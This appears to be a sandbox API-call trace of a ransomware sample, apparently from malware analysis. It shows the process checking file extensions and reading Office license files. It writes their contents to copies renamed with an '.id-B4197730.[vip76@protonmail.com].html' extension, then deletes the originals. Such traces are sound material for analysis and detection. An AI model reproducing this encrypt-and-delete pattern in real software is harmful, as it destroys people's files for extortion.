	[0202.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.303] lstrlenW (lpString=".doc") returned 4
	[0202.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".docx") returned 5
	[0202.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.303] lstrlenW (lpString=".pdf") returned 4
	[0202.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".xls") returned 4
	[0202.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".xlsx") returned 5
	[0202.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.303] lstrlenW (lpString=".ppt") returned 4
	[0202.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.303] lstrlenW (lpString=".zip") returned 4
	[0202.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".rar") returned 4
	[0202.303] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".bz2") returned 4
	[0202.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.303] lstrlenW (lpString=".7z") returned 3
	[0202.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString=".dbf") returned 4
	[0202.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString=".1cd") returned 4
	[0202.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString=".jpg") returned 4
	[0202.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString=".doc") returned 4
	[0202.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".docx") returned 5
	[0202.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.304] lstrlenW (lpString=".pdf") returned 4
	[0202.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".xls") returned 4
	[0202.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".xlsx") returned 5
	[0202.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.304] lstrlenW (lpString=".ppt") returned 4
	[0202.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.304] lstrlenW (lpString=".zip") returned 4
	[0202.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".rar") returned 4
	[0202.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".bz2") returned 4
	[0202.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.304] lstrlenW (lpString=".7z") returned 3
	[0202.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.305] lstrlenW (lpString=".dbf") returned 4
	[0202.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.305] lstrlenW (lpString=".1cd") returned 4
	[0202.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
	[0202.305] lstrlenW (lpString=".jpg") returned 4
	[0202.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.305] lstrlenW (lpString="O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 40
	[0202.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.510] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11646) returned 1
	[0202.511] CloseHandle (hObject=0x344) returned 1
	[0202.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0202.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.511] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.511] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0202.513] GetLastError () returned 0x0
	[0202.513] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0202.515] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0202.516] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.516] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x124, lpOverlapped=0x0) returned 1
	[0202.516] SetEndOfFile (hFile=0x33c) returned 1
	[0202.516] CloseHandle (hObject=0x33c) returned 1
	[0202.516] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.516] SetEndOfFile (hFile=0x344) returned 1
	[0202.519] CloseHandle (hObject=0x344) returned 1
	[0202.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1
	[0202.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.521] lstrlenW (lpString=".doc") returned 4
	[0202.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".docx") returned 5
	[0202.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.521] lstrlenW (lpString=".pdf") returned 4
	[0202.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".xls") returned 4
	[0202.521] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".xlsx") returned 5
	[0202.521] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.521] lstrlenW (lpString=".ppt") returned 4
	[0202.521] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.521] lstrlenW (lpString=".zip") returned 4
	[0202.521] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".rar") returned 4
	[0202.521] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".bz2") returned 4
	[0202.521] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.521] lstrlenW (lpString=".7z") returned 3
	[0202.521] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.521] lstrlenW (lpString=".dbf") returned 4
	[0202.521] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString=".1cd") returned 4
	[0202.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString=".jpg") returned 4
	[0202.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString=".doc") returned 4
	[0202.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".docx") returned 5
	[0202.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.522] lstrlenW (lpString=".pdf") returned 4
	[0202.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".xls") returned 4
	[0202.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".xlsx") returned 5
	[0202.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.522] lstrlenW (lpString=".ppt") returned 4
	[0202.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString=".zip") returned 4
	[0202.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".rar") returned 4
	[0202.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".bz2") returned 4
	[0202.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.522] lstrlenW (lpString=".7z") returned 3
	[0202.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.522] lstrlenW (lpString=".dbf") returned 4
	[0202.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.523] lstrlenW (lpString=".1cd") returned 4
	[0202.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90
	[0202.523] lstrlenW (lpString=".jpg") returned 4
	[0202.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.523] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.523] lstrlenW (lpString="O365ProPlusR_Subscription4-pl.xrm-ms") returned 36
	[0202.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.524] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11195) returned 1
	[0202.524] CloseHandle (hObject=0x344) returned 1
	[0202.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 0x220
	[0202.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.525] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.525] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0202.526] GetLastError () returned 0x0
	[0202.526] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0202.527] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0202.528] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.529] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0202.529] SetEndOfFile (hFile=0x33c) returned 1
	[0202.529] CloseHandle (hObject=0x33c) returned 1
	[0202.529] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.529] SetEndOfFile (hFile=0x344) returned 1
	[0202.532] CloseHandle (hObject=0x344) returned 1
	[0202.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 1
	[0202.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString=".doc") returned 4
	[0202.534] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".docx") returned 5
	[0202.534] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.534] lstrlenW (lpString=".pdf") returned 4
	[0202.534] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".xls") returned 4
	[0202.534] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".xlsx") returned 5
	[0202.534] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.534] lstrlenW (lpString=".ppt") returned 4
	[0202.534] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString=".zip") returned 4
	[0202.534] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".rar") returned 4
	[0202.534] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".bz2") returned 4
	[0202.534] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString=".7z") returned 3
	[0202.534] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString=".dbf") returned 4
	[0202.534] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString=".1cd") returned 4
	[0202.534] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.534] lstrlenW (lpString=".jpg") returned 4
	[0202.534] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString=".doc") returned 4
	[0202.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".docx") returned 5
	[0202.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.535] lstrlenW (lpString=".pdf") returned 4
	[0202.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".xls") returned 4
	[0202.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".xlsx") returned 5
	[0202.535] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.535] lstrlenW (lpString=".ppt") returned 4
	[0202.535] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString=".zip") returned 4
	[0202.535] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".rar") returned 4
	[0202.535] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".bz2") returned 4
	[0202.535] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString=".7z") returned 3
	[0202.535] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString=".dbf") returned 4
	[0202.535] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString=".1cd") returned 4
	[0202.535] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0202.535] lstrlenW (lpString=".jpg") returned 4
	[0202.535] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.536] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.536] lstrlenW (lpString="O365ProPlusR_Subscription4-ppd.xrm-ms") returned 37
	[0202.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.536] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=28261) returned 1
	[0202.536] CloseHandle (hObject=0x344) returned 1
	[0202.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 0x220
	[0202.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0202.537] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.537] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0202.538] GetLastError () returned 0x0
	[0202.538] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0202.583] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0203.041] ReadFile (in: hFile=0x344, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
